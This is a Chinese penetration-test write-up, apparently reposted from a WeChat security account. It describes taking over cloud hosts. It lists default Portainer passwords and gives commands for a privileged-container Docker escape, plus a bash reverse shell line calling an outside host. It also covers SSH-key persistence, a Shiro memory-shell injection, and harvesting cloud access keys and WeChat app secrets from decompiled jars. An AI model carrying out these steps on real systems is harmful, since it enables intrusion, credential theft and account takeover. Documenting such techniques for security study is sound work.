渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机

admin 2024年5月15日00:16:34评论21 views字数 1412阅读4分42秒阅读模式

一. 思路

Portainer弱口令-Docker逃逸-写入SSH公钥  shiro反序列化-注入内存马-反编译jar-接管云主机

二.简单的Docker逃逸

1.Protainer弱口令

Portainer常见的操作docker的图形化工具,轻量又好用,但是有不少Portainer存在弱口令,诸如:portainer/portainer;admin/12345678;portainer/12345678等等,注意密码长度差不多都是8位……

2.特权模式逃逸

弱口令进入portainer之后,尝试挂载根目录进行逃逸失败,随即尝试特权模式进行Docker逃逸

添加容器:

渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机

以特权模式运行容器:渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机随后部署容器即可:

渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机

随后查看容器列表、确保容器正常运行:

渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机

以root进入容器:

渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机

正常情况下,很多命令不能使用:

渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机

首先、查看当前磁盘分区情况,获得宿主机分区:

fdisk -l 
渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机

获取宿主机磁盘为/dev/vda1

挂载宿主机磁盘:

mkdir li1u  ----创建文件

mount /dev/vda1 /li1u/  ----挂载至文件

chroot /li1u/  ----在li1u根目录下运行
渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机

3.反弹shell

尝试反弹shell:

bash -i >& /dev/tcp/xxx/8000 0>&1

成功反弹:

渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机

4.写入SSH公钥

反弹shell成功之后,尝试写ssh公钥做个小的权限维持:

渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机

用xshell生成一个用户密钥:

渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机

随后点击属性-公钥,复制公钥内容:

渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机

使用echo命令追加公钥到authorized_keys中:

渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机

cat authorized_keys追加成功:

渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机

尝试使用xshell连接(前期信息收集得知ssh开放端口2021)

用户身份验证选择publickey(公钥登录),平常都是用户名密码连接:

渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机

点击设置,选择刚刚生成的密钥,填入自己设置的密码进行连接即可:

渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机

接下来就是内网了……

三. 反编译jar接管云主机

1. shiro反序列化-注内存马

常规操作,就不多说了,打入冰蝎内存马:

渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机

2.扩大成果(查找敏感信息)

连接之后,尝试查找敏感信息:前期信息收集得知目标为SpringBoot框架,spring的配置文件都是yml和properties,linux直接查找指定后缀名的文件,未发现敏感信息

find / -name *.yml .properties

3.反编译jar获取大量配置信息

随后翻到网站根目录,发现了不同文件夹下边有三个jar包,应该都打包成jar运行了。

直接下载jar到本地,对jar包进行反编译:

方法一:修改文件扩展名

渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机

修改jar扩展名为zip等,直接解压即可:

渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机

在clsses文件夹下,找到properties配置文件:

渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机

获取ak/sk:

渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机使用ak/sk利用工具或者行云管家导入云主机即可

渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机

其中OSS存储桶中发现大量敏感信息 还有vx小程序的appid和secret,直接调用官方API即可:

https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=APPID&secret=APPSECRET

利用官方API还可获取小程序反馈情况、小程序用户访问数据、发送信息等等等等,几近接管小程序

方法二:jd-gui反编译jar

直接拖动jar包到jd-gui中即可:同样的配置信息

渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机

渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机

原文始发于微信公众号(藏剑安全):渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月15日00:16:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透实战|记一次简单的Docker逃逸+反编译jar接管云主机https://cn-sec.com/archives/2052428.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息